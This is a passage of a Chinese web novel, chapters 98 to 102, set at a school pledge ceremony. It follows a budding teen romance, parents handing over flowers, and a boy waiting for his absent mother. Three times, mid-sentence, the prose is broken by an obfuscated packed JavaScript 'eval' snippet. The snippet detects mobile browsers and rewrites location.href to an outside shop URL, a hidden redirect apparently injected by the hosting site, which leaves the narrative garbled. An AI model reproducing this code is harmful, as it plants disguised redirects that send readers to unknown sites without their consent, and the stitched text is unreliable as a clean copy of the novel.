可是这样一句话落在黄怀予耳朵里,却听出了许多弦外之音。 她瞬间就联想到这人消极冷淡的性格,又见他低头看着手里的花——似乎他那两句话里也藏着无限孤单寂寞,仿佛是对这个学生送花给家长的美好情境触景生情,而自己却孤独一人,只剩惆怅。 ——是不是触及他伤心事了? 难道,他家里关系也不怎么好? 黄怀予心里一动,那股同情又油然而生,想也没想就脱口而出: “不如你送给我!” “今天我是你姐姐,也算你的家人!” 二月底的楚门还透着冷冷的寒气,凛冽的风吹动少女少男鬓边的黑色发丝。两人面对面站在楚门一中食堂门口的小路上,周围人来人往,冬日暖阳打出一轮耀眼的光晕。 周围突然一片安静,对面的人没有再说话。 他的睫毛被风吹得微微抖动,又在阳光下显得像是金色。阳光下的这一幕,竟然好看得出奇,像是虚幻无比的梦境。 ……黄怀予终于在这称得上暧昧的情景里觉出了一些多到快要溢出来的缱绻氛围。 她刚刚那句话,听上去是不是很像她想让楚恒送花给她? !! 黄怀予耳根瞬间红了,有些慌乱地移开视线。 她狼狈地抬起头,想说些什么转移话题,让楚恒别误会。 ——可是下一秒,她就看见楚恒笑了。 眼睛弯起来,眉梢眼角像是春风拂过,柔和无比,眼带笑意,嘴角轻轻地勾起来。 笑得真心实意,笑得眉舒目展,笑得冰雪消融。 她心漏掉半拍。 然后,她就看见眼前高大英俊的少年,微微弯下腰,把手里那朵含苞待放的花,轻轻递到自己面前。 “那就送给你。” “太阳花的花语,热烈勇敢,向往光明,还有……沉默的爱。” 99. 第 99 章 就在这时,校园里响起一阵悠扬的铃声,播音员悠然的声音从电线杆顶部陈旧的广播喇叭里传出: “大家好,我是楚门一中广播站播音员,高二六班的胡北。欢迎各位家长参加高三百日誓师大会。百日誓师大会将于十点整准时在操场上举行,请各位班主任带领同学与家长在指定位置坐下并等待。” “在此之前,请欣赏每日一篇诗朗诵。今天要为大家朗诵的是南朝乐府民歌《西洲曲》。” “忆梅下西洲,折梅寄江北。 单衫杏子红,双鬓鸦雏色。 西洲在何处?两桨桥头渡。 日暮伯劳飞,风吹乌臼树。” 食堂门前人来人往的小路上,黄怀予掩下剧烈的心动,慢慢伸出了手,握住了楚恒递过来的花。 鲜艳欲滴的黄色花朵,并不太长的绿色花梗,同时被一男一女的手轻轻牵住。 她垂下眼睛,手指小心试探着勾住花梗的尾端,随后就感受到像是同时有另一股力量正在和她牵引,似是一种对抗,又更像是一种坦诚和渴望。 她抬眼,再次望进楚恒深沉如海的双眸里。 校服的衣角被风吹起,少女的头发被风吹乱,清新的冷气飘飘荡荡。 …… “树下即门前,门中露翠钿。 开门郎不至,出门采红莲。 采莲南塘秋,莲花过人头。 低头弄莲子,莲子清如水。 置莲怀袖中,莲心彻底红。 忆郎郎不至,仰首望飞鸿。” …… “哈喽学姐,这是等会仪式开始之后要送给家长的花。” 苏琬接过学妹递过来的花,看看手表,发现马上就要到自己和妈妈约定见面的时间了,于是立刻打开书包,把花藏了起来。 “琬琬!” 苏琬回头,看见苏明拿着保温盒,从校门的方向走来。她脚步有些晃,接近一小时的拥挤公交车带来酸疼的腰,裸露的手在冷风中被吹得指节通红,瘦小的身躯藏在洗得有些发白的宽大棉袄里。 苏琬看着她一步步走过来。 记忆里突然好像有什么片段蹦了出来,是小时候妈妈带她去儿童公园。她等在原地,妈妈去给她买冰淇淋。 那个时候妈妈还好年轻,穿着白色连衣裙,头发烫过,眼含笑意,看见她乖乖等在原地,远远地就冲她招手。 “饿不饿?” “爸爸马上就到了。我们等会一起去坐摩天轮好不好?” 妈妈把冰淇淋递过来。 白皙细嫩的手突然却像一下子苍老了十几岁般粗糙,冰淇淋消失,取而代之的是一个不锈钢饭盒,标签撕了一半,隔着热热的温度。 回忆骤然在她眼前崩碎,苏明站她面前,明明五官一样,但是刚刚记忆里还生动年轻的面容却突然变得憔悴,细细的皱纹藏在眼角。 妈妈裹着宽大不合身的旧年棉袄,把装着饭菜的保温盒递给她。 “饿不饿?” “昨天去二街买的菜。遇见了一个熟人,给我打了折,很便宜!” “前几天就把假请好了,老板还很不高兴嘞。我说我女儿学校百日誓师大会,我一定要去的。” “我女儿在楚门一中,学习棒得很!老板一听我女儿在楚门一中,立刻就同意了。” “给你做的辣椒炒肉,给小予做的炸鸡腿,还有给谷奕的糖醋里脊。” 她细细密密地说着生活中琐碎的小事,她的人生里早已经被这些芝麻一样的碎片包围,侵占。她按部就班地活着,披星戴月地忙着,她的世界不是高档写字楼,只是一个小小的保洁室,年轻的幻想像泡沫一样消失,现实却沉重地堕了下去。 “妈妈。”苏琬接过饭盒,低着头,突然说,“你说生活会变好吗?” 苏明一愣,然后露出一个笃定的笑。 “当然了。” “太阳明天还会升起来的。累了就睡,饿了就吃,日子得过下去呀。” “再说了,我有你呀。我女儿是世界上最好的女孩。” …… “鸿飞满西洲,望郎上青楼。 楼高望不见,尽日栏杆头。 栏杆十二曲,垂手明如玉。 卷帘天自高,海水摇空绿。” 谷奕一个人站在校门口,右手紧紧握着手机,四处张望。 他已经等了二十分钟了。不过没关系,谷玉应该马上就到了。 旁边三三两两的学生带着家长经过,有说有笑: “爸我这次考了年级前一百五十名!物理考了85!” “可以啊儿子,这周末带你去市内吃一顿!” “好!快进去吧马上就开始了!” “……”谷奕目光追随着那对父子走进校园,摸了摸口袋。 口袋里,是一张叠起来的文科年级75名的成绩单。 她……也会和那个叔叔一样高兴吗?谷奕抬头看看天空,呼出一口气,心情忽然无比轻松。 突然,手机震了两下。 他立刻点开屏幕,自言自语道:“终于到了,都快十点了,马上就开始了——” 入目只有十三个字。 十分简短,是那个人一贯的风格。 “对不起,临时有事,会晚到。” …… 他定住。 十三个字,他却看了很久。 “哎谷奕!你怎么在这?” 他反映了好几秒仿佛才听见有人叫他,机械地转头。 是陈卓。 陈卓旁边站着一个中年女性,梳着马尾,穿着套装,踩着小高跟。 “妈,这是我跟你说过的谷奕!这学期刚转过来的,但是成绩进步特别多!现在是我同桌。” “……”谷奕不知道该说些什么,只是点点头,“阿姨好。” 中年女性立刻笑着说:“谷奕是吧?我知道我知道,上次家长会马老师还特地提到过了,说谷奕进步很大,让大家多跟谷奕学习。” 说完又转向自己儿子,话里带着轻松的埋怨,“你看看你,应该多向人家学习,人家平时学习多认真,一定从来不让父母操心!你呢,我天天管你,你还是那个烂成绩,我今天还因为给领导请假被领导骂了一顿,就为了来给你参加百日誓师!” “哎呀妈!你别说我了……都开始了!我们进去吧!” 陈卓赶紧嬉皮笑脸地拉着妈妈走进了校门。 谷奕回过头。 右手捏紧手机,骨节泛白,依然沉默。 操场远处已经传来主持人统计人数的声音,校门口的人越来越少,都快步跑向操场。 慢慢地,门口只剩下他一个人,孤零零地站着,执着地等着。 “怎么还不进去?” 保安已经准备拉上校门,看他半天不动,提醒他,“小伙子,马上就要开始了!” “是在等你妈妈吗?她来了吗?” 谷奕低下头,半晌开口: “再等一会吧。她会来的。” 保安看他似乎心情不太好,拿起桌上刚刚被学生分到的太阳花。 “喏,给你!等你妈来了,你送给她吧。” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728633|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”谷奕愣愣的,慢吞吞接过那枝花。 “现在操场上都开始了,你先过去,等你妈到了你再出来接她。” 说完,又补上一句,“到时候我给你开门。” …… “海水梦悠悠,君愁我亦愁。 南风知我意,吹梦到西洲。” “云省楚门一中2018年高三百日誓师大会,正式开始!” * 上午十一点。 操场上密密麻麻坐满了人,百日誓师大会已经进行了一个小时。 领导一轮一轮讲着废话,下去一个书记又上来一个主任,车轱辘话翻来覆去地讲,只怕稿子都是出自同一个学生会的学生代笔。 一般这种场合,黄怀予都会在操场上闭眼站着晒太阳,脑子里背背早自习刚看过的古诗词,享受一下一天繁重的学习时间里难得的轻松时刻。 ——可是她现在完全没有闲情逸致去享受。 因为她的外婆,正对着一旁的楚恒翻来覆去地打量,兴致勃勃地问完了三轮问题。 …… 事情还要从一小时十分钟之前说起。 黄怀予联系不上谷奕,所以打算带着楚恒和自己一起,先去操场上301班的队伍最后面坐下等着,反正等会谷奕到了之后也会和自己、苏琬一起坐在最后面。 队伍后面应该没什么人,楚恒也戴着口罩,黑发也不像之前金发那么显眼,应该不会被发现。 黄怀予在前,楚恒一步步慢慢跟在她身后。塑胶跑道是红色,中间是绿色的草皮和足球场,仰头就能看见湛蓝的天空。 ——这一幕,好像在哪里见过。 楚恒像是骤然间想到了什么,眼前有一瞬的恍神。 他眸色一沉,落在走在他前面几步之外的女生身上。 随后,视线又慢慢、慢慢,落在她正在走路的双腿上。 突然,那双腿停下来了。 女孩的身影极其僵硬地一动不动,然而身侧垂下的右手,却小小地颤抖起来。 楚恒跟着一停。 抬头,果然看见前方不远处,正有一人迎面朝着他们走过来。 身姿挺拔,体态有些瘦削,穿着校服,整个人显得清朗舒润。 ——是卫语。 …… 黄怀予真的不明白为什么今天总是会偶遇意想不到的人。 她和卫语高中三年以来只在学校里遇见过三次。 第一次是去年九月份的开学典礼,她被朱秋霞抓住逃晚自习吃宵夜,而卫语是国旗下讲话的优秀学生代表,一上一下擦肩而过,她硬着头皮顶着对方疑惑打量的视线竭力保持镇静。 第二次是被马辉叫去送学习之星报名表,不仅在楼梯上遇见他,还遇见了冯尽欢,简直是史诗级尴尬场面,更别说那两人还当着她的面玩偷情play。 ——第三次,就是现在。 她僵在原地,就这样看着前方的卫语一步步走过来。 她隐约觉得对方也并不想遇见她,并且也觉得可以装作看不见——但是两个人的方向太巧合地相对了,100%的正对面,这种时候如果还要装作看不见那就太刻意了。 所以,她只能在心里疯狂给自己加油打气,然后表面上装作镇定无比,十分大方地站定,露出一个无懈可击的完美微笑,对着一步步走来的他说: “哈喽,好巧。” 那人听到“好巧”这两个字,突然身形一僵,停了下来,看了她一眼。 “Hi。” 他脸上表情并不怎么好看,像是有什么话要对黄怀予说。 100. 第 100 章 卫语左右看了看,向前走了一步。 “有话我就直说了。” 他比黄怀予个子高,看向她的时候有些居高临下,像是思考了几秒钟,还是决定说出口。 “我和冯尽欢的关系,你应该知道吧。” “……啊?啊。” 黄怀予懵了,没想到他会突然对自己说这个,他和冯尽欢不是正在地下恋吗,怎么突然直接说出来了? “我觉得,有些事情还是说清楚比较好。” “我和你之间只是普通认识,并没有什么其他关系。” “所以……” 他像是有些纠结,但是还是沉了沉声音,对着黄怀予一字一字说: “希望你对我不要有什么其他想法,不然,她会不高兴。” “特别是,像今天这样。” “明明今天学校里人这么多,学校这么大,你却就这样和我直接碰巧在操场上偶遇。这样的事情,谁听了都不会相信吧。” “其他的话我就不多说了,你应该明白。她是我女朋友,我很爱她。以后像这样故意装作和我偶遇的事情,不要再做了。好好学习吧。” 黄怀予木然呆在原地。 她有点不敢相信自己的耳朵。 她扯扯嘴角,“……这是冯尽欢跟你说的?” 卫语闻言皱了皱眉。 “她没有说,但是我能感觉到她不高兴。另外,她没有说我也知道,之前和程朗一起在市图书馆前面的球场上打球,程朗当着我们的面喊出口,说你喜欢我要跟我表白……有些话不用我全部说出来吧。” “……” 黄怀予张了张嘴,不知道自己应该作什么反应。 她确实可以对她从来没有做过的事情进行反驳,但是那些隐匿在阴暗角落的感情是确实存在过的,它有痕迹,当事人也一定感觉得出来。 有妇之夫直接找上门来让她自重,她还能说什么,任何解释都显得像嘴硬,认定她蓄意接近之后,她的所有行为都值得被提防。 卫语居高临下的复杂眼神像是一支尖锐的箭。 他就这样站在自己面前,以感情上位者的身份,平静地评价着她敏感脆弱的青春期里最隐秘、最不愿意承认的暗恋。 黄怀予突然觉得自己腿有些软。 她想撑一下,低头才发现,自己的手也在抖。 …… 她半天都没有说话,卫语等了一会之后也终于耗尽耐心,看向别处准备离开。 可是,他的目光转向了她身后的某个方向,突然双眸迅速睁大,眼里闪过惊讶。 黄怀予还没来得及思考他看到了什么会这么惊讶,下一秒自己右肩就多了一只温热有力的大手,带着一股不容拒绝的力量,把她扯到了一个充满苍兰香味的怀抱里。 她被紧紧搂住,黄怀予只觉得右肩隔着几层衣服也能感觉到那人掌间收紧的力气。 左肩撞上他有些坚硬的胸膛,身体接触的地方传来温热的体温。 她的心猛猛一跳,抬起头,只能看见他冷硬绷紧的下颌。 “你……”卫语脸上闪过讶异,他认出了那双眼睛,但是眼前这人一头乌发,穿着一中校服,戴着口罩,他又有些犹疑,“我们之前是不是一起打过球?” 楚恒一句话也没说,手却越收越紧,整个人气压越来越低。 “你们俩……”他目光在黄怀予右肩上那只极其用力青筋暴起的手上停留了一会,终于反应过来什么。 今天是百日誓师,是学校开放日,校外人员也是可以进来的,所以这人不是一中学生却可以进来。 他们俩是情侣? 卫语心里一动。 这人刚刚好像就一直跟在黄怀予后面。两个人是一前一后走的,所以卫语当时才觉得黄怀予是一个人。 如果他们俩是情侣,黄怀予怎么会特地来操场制造偶遇自己的巧合? 卫语突然有些梗住。 他又看了一眼那人——和上次见面一样,一米八几的个子,又高又瘦,肩背笔挺,那双眼睛极其好看,哪怕戴了口罩把脸上其他地方遮得严严实实,也是一眼能在人群中看见的帅。 而此时,那人正漠然看着自己,眼里全是冰冷。 “……” 卫语顿然不知该说些什么了。 他低下头,耳根悄然泛上一点难堪的红。 他没再看黄怀予,胡乱冲黄怀予的方向点点头算是告别,迈步离开了。 …… 黄怀予终于反应过来刚刚的几秒钟之内发生了什么事。 她肩膀还在被楚恒扣着,力气丝毫未减,从其他角度看上去像是她被楚恒整个抱在怀里。 黄怀予意识到什么,立刻扭头往周围扫了一圈——果然看见操场周围,已经有人朝着自己这边看过来。 一个面生的老师,眼神像草原上的鹰一样锐利,狠狠盯着相拥的两人;而学生都一副“姐们牛逼啊,操场上大庭广众就敢抱,吾辈楷模”的意味深长的表情。 !! 她浑身一惊,立刻想推开楚恒。 她的力气从小时候就很大,一直以来都因为力气大有不少优势,比如打架很少会输。 但是她却觉得眼前这人的手臂像铜墙铁壁,怎么也挣不开。她只好去推左边那人的肩膀,可是推了两下也是丝毫不动。 “……”她抬头看了眼那人紧绷的下颌,踮起脚轻声说了一句,“谢谢你啊楚老师,帮我解围。现在可以放开了。” 她踮脚的动作突然,说话的吐息一下子钻到楚恒耳朵边,带起温热酥麻的触感。 ——他立刻浑身一僵。 眼见他那双眼睛骤然睁大,黄怀予趁着这时候赶紧转了个圈,从他手里转了出来。 “……” 怀里一空,楚恒像是才意识到刚刚发生了什么,低头看了一眼自己还维持着搂住动作的右手,似乎仍然有些不敢相信她就这么转出来了。 ……就这么不愿意和他呆在一起吗。 楚恒慢慢收紧了右手的拳头,垂下了手臂。 黄怀予干笑两声。 “不是我过河拆桥,是被老师看到误会了,我就要写检讨请家长了。” 这话说完,她看见楚恒低着头,慢慢把双手插进了裤子口袋,眉间还是一片冰冷,似乎笼罩在一片阴影之下。 他突然开口。 “那你刚刚和卫语那样站在一起,会被老师误会吗。” ……? 黄怀予没懂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732383|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她和卫语又没有像他们两个一样抱在一起! 她盯着楚恒那双唯一露出来的眼睛看了一会。 楚恒察觉到她在看他,有些冷硬地把头转向左边。 黄怀予转到左边,又接着盯着他看。楚恒又把头转向右边,黄怀予又跟着转到右边盯着他看。 “……”他维持着扭头的姿势不看她,喉结滚了滚,声音有些沉,“看什么。” 黄怀予十分认真地说: “你和他不一样。” “你长得比他帅一百倍。” “所以和你站在一起,就很容易被老师误会。” 话音落下,她看见,楚恒似乎是一下子被她的话梗住,那双眼睛不自然地眨了两下,最后又拜下阵般认命低下头,躲开她的视线。 两声轻咳,他迈开长腿受不住般往前走。 风吹过他鬓边的发丝,黄怀予似乎是看见,他从耳朵到脖子,全都染上了一层淡淡的红。 * 操场上人头攒动,熙熙攘攘。中间的绿色草皮区域被划分成了方方正正的长方形,高三一共二十个班,整整齐齐放着N列板凳,用的是教室里最常见最简单的那种棕色木头板凳,一眼望过去全是密密麻麻的棕色小方块。 黄怀予左看右看,在301班队伍最后随便找了两个椅子坐下。 一班在最边缘,所以周围人比较少。她又直接选在了队伍最尾端,基本没有人会注意这里。 黄怀予又打开微信,告诉苏琬和谷奕,等会直接来一班队伍末尾找他们。 做完这一切,她还在沉默着不说话,脑子里想着等会如果碰到熟人要怎么介绍楚恒,努力为这位远方而来的特殊职业的客人营造一个尽量完美舒适的楚门一中一日游体验。 突然,手机震了震。 “啊!” 她一下子弹起来。 “你先坐着,我去操场门口接一下我外婆,她已经到操场了!” “卫生间在操场右上角。小卖部在我们刚刚来的食堂那里,但是不能用现金和微信支付宝,只能用学生卡。这是我的卡,你随便刷。” 楚恒低着头,还没反应过来那一长串她说的话,怀里就已经多出来她扔过来的一张卡。 黄色卡套,皮质的,颜色鲜艳,上面有一个迪迦奥特曼。 他张张唇,还没来得及说话,女孩就已经风一般地跑远了。 “……” 楚恒愣了两秒。 然后看着她的背影,淡淡地笑了。 周围又重归寂静,世界再次只剩下他一人。他低下头,看着脚边翠绿色的草皮发呆。 但是他才刚垂眸没有一会,就又听见前方传来急匆匆的脚步声。 他抬头。 ——黄怀予气喘吁吁,又去而复返地出现在他面前,扶着腰,喘着气,背着阳光,整个人都笼罩在太阳金黄色的温暖光晕里。 “谷奕和苏琬等会就会来这里找你。你别慌啊!” “我马上就回来!” 下一秒就准备跑开,想了想,威胁似地加上一句: “不准看我学生卡上的照片!” 话音刚落,她又嗖地一声转身跑远了。 ——只留下在原地微怔的楚恒。 101. 第 101 章 楚恒眉头蹙了蹙。 他没法形容现在是一种什么感觉。 他14岁一个人进公司当练习生,经过层层选拔考核出道,刚出道最忙的时候三天两头去各个城市跑通告。糊团没有助理,所有事情都需要自理,凌晨三点的天空对他来说和白天一样熟悉,被梁吟东带着去后台给各个圈内前辈弯腰鞠躬打招呼的次数比正常吃一顿碳水的次数还多。 没人问过他害不害怕,紧不紧张,在陌生的环境里慌不慌。 他低下头,印着迪迦奥特曼的黄色皮套学生卡静静地躺在手掌心。 复合型,红色和紫色相间,正在发射哉佩利敖光线。 ……她就这么甩过来这样一张略显幼稚中二的学生卡,把他当笨蛋一样介绍着洗手间和小卖部的位置,再把他当小学生一样安抚在座位上,最后告诉他等会就会有两个大人——谷奕和苏琬来接力当他的监护人。 楚恒垂下眼眸,修长瘦削的手指轻轻摸了摸手里硬邦邦的卡。 她还说了什么? 她说,不要看她的照片。 ……不说还没想看,一说,就特别想看。 楚恒低笑了两声。 好。不看就不看。 她说什么,他都照做。 …… 黄怀予的保证一般都是真的。 因为才过去了五分钟,苏琬就带着她妈妈过来了。 看到戴着口罩一头黑发还穿着楚门一中校服的楚恒居然就这样平静地坐在301班队伍最后,虽然黄怀予早在“大杯蒜”群里有过预警,但是苏琬还是傻住了三秒钟。 男生站起来,冲着苏琬微微点头,算是打招呼。 苏琬马上镇定下来,向苏明介绍,这是谷奕的朋友,从外地过来找谷奕的。 又过了五分钟,黄怀予也扶着微微蹒跚的外婆,一步步慢慢走了过来。 苏明到底是中年人,本身又认识谷奕。谷奕身上那种潇洒的魔都富二代人设实在是太过深刻,所以苏明对于谷奕身边同样长得好看的同龄男生朋友从外地直接过来楚门一中找他这件事情,接受起来并不怎么困难。 她也没问楚恒姓什么叫什么,在哪里读书之类的问题,她知道楚恒甚至可能都没有在读书。 ……但是黄怀予的外婆就不一样了。 老人一坐下,就好奇地朝外貌十分突出的楚恒看过去,看上去下一秒就要开始长辈连环问——问家庭问父母问学习,不把祖宗十八代都打听出来是不甘心的。 看楚恒那副沉默寡言不善言辞的样子,还不得立刻就被问出来现在的职业? 黄怀予一惊,眼珠一转,脑内已经速度给楚恒想好了三个假身份。 A,楚小明,谷奕的朋友,外地人。这很合理,因为谷奕作为转学生也是外地人。 B,楚小明,她和苏琬共同的朋友,本地人,楚门一中的高二学生。这很容易露馅,因为楚恒一句楚门话也听不懂。 C,楚小明,马辉儿子,在江城读书,今天过来找他爸。这更容易露馅,因为马辉绝对生不出这么帅的儿子。 黄怀予还在脑中迅速猜测苏琬之前向苏明介绍楚恒的时候,用了哪一个身份,最好和苏琬说的保持一致。 她就这么犹豫了两秒钟,旁边已经传来那人沉稳的声音。 “外婆好。我叫楚恒,帝都人,是黄怀予的朋友。” ? 她瞠目结舌。 楚恒怎么就这么直接把自己的真名说出来了? 还说是她的朋友,而不是谷奕的朋友? ……谷奕知道了不得气死? 她迅速去看苏琬的神色,发现苏琬也是一脸惊讶,立刻心道不好,刚刚苏琬应该不是这么向苏明介绍的,苏琬介绍的版本应该和谷奕有关。 她赶紧冲楚恒猛烈摇头,又冲苏琬的方向挤眉弄眼,让他换成苏琬那个版本。 却看见,楚恒就这样极其平静地看着她。他戴着口罩,黄怀予看不见他的表情,但是黄怀予总觉得他眼神里透出一股好整以暇的坦然。 他一字一字地说道: “我今天,是来楚门一中找黄怀予的。” 于是事情就这样朝着完全不可控制的方向发展了。 对于这整件事情的始末,黄怀予只能将原因归结于,是楚恒看上去聪明,实际上比大傻还笨,看不懂她挤眉弄眼的暗示。 所以此时此刻,她只能安静坐着,煎熬地听着旁边外婆喋喋不休的询问。 “你是帝都人啊?” “哎呦,帝都大城市啊!不像我们这里,小城市啦。” “你今年多大了?在哪里读书?家里父母做什么的?” “没有读书?……唱歌的?哦你是歌手啊?” 楚恒一句一句地答着,语调自然,声音平静。 …… “你唱过什么歌啊?火不火?” ——“喝水。”黄怀予眼皮一跳,迅速从书包里抽出一瓶矿泉水,直接拧开瓶盖送到外婆嘴边,极其及时地中断了她龙卷风般的提问速度。 外婆终于安静了。 旁边的苏明却好奇开口: “小楚,你和黄怀予苏琬谷奕怎么认识的?” 黄怀予心里咯噔一下。 她和苏琬对视一眼,莫名都有点慌。 ——她实在是害怕,“李鸣月”这个特殊人物和“1969”这个特殊地点,会在高三百日誓师的庄严场合下,在两位家长的共同见证中,就这样风轻云淡地被扯出来。 毕竟谁都想不到,黄怀予和苏琬这两个在学校里都算赫赫有名的学霸,背地里实际上和林志玲一样,烟酒都来。 她又突然想起上次蒋平舅舅孩子满月宴上,万颖指着她鼻子骂出来的话: “小小年纪,酒吧常客!” ……想反驳又不知道怎么开口,有种老公阳/痿的无力感。 1969,家长眼中的烟花柳巷,年轻人心中的耶路撒冷。 黄怀予心里千回百转,嘴上已经瞬间在楚恒开口之前喊出几个字: “图书馆!” 空气变得安静一瞬。 苏明重复,“图书馆?” “我们和他因为在网上看书而认识成为网友,经常一起分享读书感悟。后来约在楚门市图书馆见面,正式认识。平时有空就相约图书馆,一起看书学习,在知识的海洋里遨游。” 苏琬和楚恒沉默。 “哦哦,这样啊。那真不错,爱看书,好孩子!” 黄怀予点头,松了口气。 公式全对,代数全错。 此招虽险,胜算却大! * 转眼已经十一点多。 谷奕还是不见人影。 三人都给他发了消息,也都不见回复,不知道他一个人去了哪里。 苏琬皱眉看着手机,心里的担心越来越重。 她站起身,“我去找一下。” 没想到这一站,转身就看见——在她们身后隔了几张凳子的位置,谷奕就在整条队伍的最尾端,一个人坐在角落的凳子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736857|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,神情晦暗地看着她们。 不知道他就这样在队伍最后,一个人孤零零地坐了多久。 苏琬停住了动作。 黄怀予和楚恒顺着她的目光看过去,这才发现队伍最末尾的谷奕。 黄怀予想开口让他过来,顺便问他刚刚去哪了。 可是刚想张嘴,就惊讶地看出,谷奕表情灰暗,眼神黯然,一直沉默地看着前面她们和自己家长聊天的身影,整个人笼罩在极其消极的情绪里,手里还紧紧拿着一枝已经被折得有些弯曲的太阳花。 ——这是一枝,无人可送的太阳花。 苏琬握紧拳头,向他走了过去。 谷奕身体没动,神情依旧晦暗,可是眼神却追着苏琬一步步向他走来。 女孩走到他身边,迎上他瞳孔里受伤的情绪,又扫过他由于用力抓着花柄而有些泛白的骨节,紧紧抿唇。 她弯下腰,慢慢地拉起了他的手臂。 “过来吧。”她轻声说。 他坐着,有力紧绷的手臂被轻轻地握住。抬头向上仰望,撞进苏琬像月光一般柔和的眼睛。 “……”谷奕喉结滚动,又不自觉看向她身后。 ——只见黄怀予探出一个好奇的脑袋,眼睛睁得圆溜溜的,冲他招着手,做着“过来”的手势。 而旁边的楚恒,取下了口罩,穿着白色的校服,额前的黑发干净蓬松,眸子里有些担忧地凝望着他,微微点了点头。 “……” 谷奕沉默地站起身,接近一米九的高大身形在苏琬面前却听话无比,任由苏琬牵着他的手臂,一步步跟着她朝前走去。 “可能是有什么急事耽搁了。” “一定会来的,再等等吧。” “百日誓师仪式还没结束呢,别着急!” 黄怀予一句接一句的安慰似乎也并没有被谷奕听进去,他只是有些呆滞地坐着,低着头,看着手机屏幕上还停留在一个多小时以前的聊天记录。 ——“下面即将进行本次百日誓师最后一个环节,学生献花给家长!” 周围的人纷纷站起来,操场上人潮汹涌,母父和孩子站在一起,笑着说着话,紧紧拥抱。 “琬琬,怎么别人都有花,你没有啊。” “当当当!在这呢!我藏起来了!看,是不是很好看?” 苏琬一下子从书包里变戏法般抽出一枝花,送到苏明面前。 她很认真地说: “妈妈。我一定会实现我的梦想。然后,赚很多很多的钱。” 苏明笑了一下。 “琬琬,你只用记住梦想就好了。后面半句,忘了吧。” 苏琬一愣,不由自主地问: “可是,钱不是很重要吗?没钱,就永远只能当人下人。” “是啊,这个世界确实是这样的。可是,你不能把现状当成梦想。苏琬,你要为了风花雪月而活。就算你的身体一辈子都挣扎在金钱的评价体系里,你的灵魂也别陷进去。” 苏明接过那枝花。 她的声音很平和,就像说着今天去二街买了两块钱的白菜一样平和;她的表情很淡然,就像丧偶多年来独自抚养女儿的单身母亲在底层繁重的机械劳动中麻木地工作那样淡然。 一个本该最现实最市侩的母亲,一双经过了无数底层劳动的粗糙的手,此时此刻却握住了一枝没有任何实际功能、只有“好看”这唯一象征意义的花。 “真好看啊。回去就找个花瓶出来帮你插上。这样你每天上学之前都能看到。好不好?” 102. 第 102 章 “家家,这枝花送给你。” “好!好!”外婆颤颤巍巍地站着,接过花。 黄怀予越长越高,外婆越来越矮。她看着外婆头顶逐渐多起来的花白发丝,突然喊了一声: “家家。” “哎。” “我一定要考第一名。我一定不能输给别人。我想让你在别人面前为我骄傲。” 她说得突然,情感来得浓烈,无数个破碎的记忆片段涌进脑海,这句话就像宣誓一样坚定。 可是她却看见,一向管她管得严厉、脾气不怎么好的老太太却收起花,满不在乎地摇摇头。 “不管你是不是第一名,你都是我心里的骄傲。” “孩子,家家不在乎这个。你的人生哪有那么多的输赢?不用和别人比,和自己比。” …… 谷奕孤零零地站着,像一尊石像。 楚恒站在他身侧,走上前,轻轻拍了拍他的肩膀。 他低头,紧紧捏着手里的花,又最后一次打开手机。 ——没有消息。 “献花环节结束,现在我们将进行宣誓,请所有高三同学举起你们的右手,握拳!” 谷奕扯扯嘴角,轻笑了一声。 他把那枝早已弯曲破败的花扔在了地上。 似乎是早就已知的结局,他却还是会抱有期望。 9岁在空荡的别墅楼梯间,13岁在魔都街角的咖啡店,19岁在楚门一中的操场。他也许只是大老板排到密密麻麻的最后一条schedule,和所有大大小小的会议都是并列关系。 他不应该凡尔赛地在黄怀予和苏琬面前说他不想要这么多钱,他只想要爱,但是他抬起头看见楚门高远清新的天空,却觉得这个世界好大,他却一直一个人。钞票像漩涡一样把他包裹住,他飞啊飞又落下来,风消失,钞票变成毫无价值的纸,到最后他还是孤零零一个人。 努力学了半年哲学的谷奕很认真地想:没有被放置在爱的关系网络里的人,那还算是人吗? “钱乃身外之物。” 说得太他爹的对了。 谷奕站起了身,转身想要离开。 ——就在这时,身后却突然响起校长周卫东激动的声音: “老师们同学们,现在临时告诉大家一个振奋人心的好消息!” “我们今天有幸邀请到了胜家酒店集团的董事长,谷玉女士!” “请大家用热烈的掌声欢迎谷女士的到来!” ——谷奕的脚步猛地停住。 那道再熟悉不过的沉稳的、冷静的、似乎永远不会有一丝情感波动的声音,隔着麦克风遥远的扩声,在楚门一中的操场上响起。 “感谢周校长。老师和同学们大家好,我是谷玉。” 谷奕不可置信地回头,望向遥远的主席台上那个模糊的身影。 是她…… 是她。 她真的来了。 